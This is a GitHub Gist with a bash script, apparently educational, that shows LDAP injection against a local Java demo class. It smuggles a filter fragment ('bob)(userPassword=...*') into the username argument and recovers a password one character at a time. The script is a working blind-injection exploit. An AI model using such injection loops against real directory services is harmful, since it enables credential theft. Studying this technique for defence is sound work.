Last active
September 18, 2017 09:27
-
-
Save artem-smotrakov/e624953f7843f8a67239e8db332c3333 to your computer and use it in GitHub Desktop.
An example of LDAP injection in Java. For more details see https://blog.gypsyengineer.com/fun/security/ldap-injections.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# we just assume that it's that simple | |
alphabet="qwertyuiopasdfghjklzxcvbnm" | |
password="" | |
found=1 | |
# stop when all guesses failed | |
while [ ${found} -eq 1 ]; | |
do | |
found=0 | |
while read -n1 character; do | |
username="bob)(userPassword=${password}${character}*" | |
/home/artem/jdk/jdk1.9.0b160/bin/java -cp classes LDAPInfo ${username} > log 2>&1 | |
if grep telephoneNumber log > /dev/null 2>&1 ; then | |
# found next letter | |
password="${password}${character}" | |
found=1 | |
echo "password should start with '${password}'" | |
break | |
fi | |
done < <(echo -n "${alphabet}") | |
done | |
echo "password: ${password}" | |
# cleanup | |
rm -rf log |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment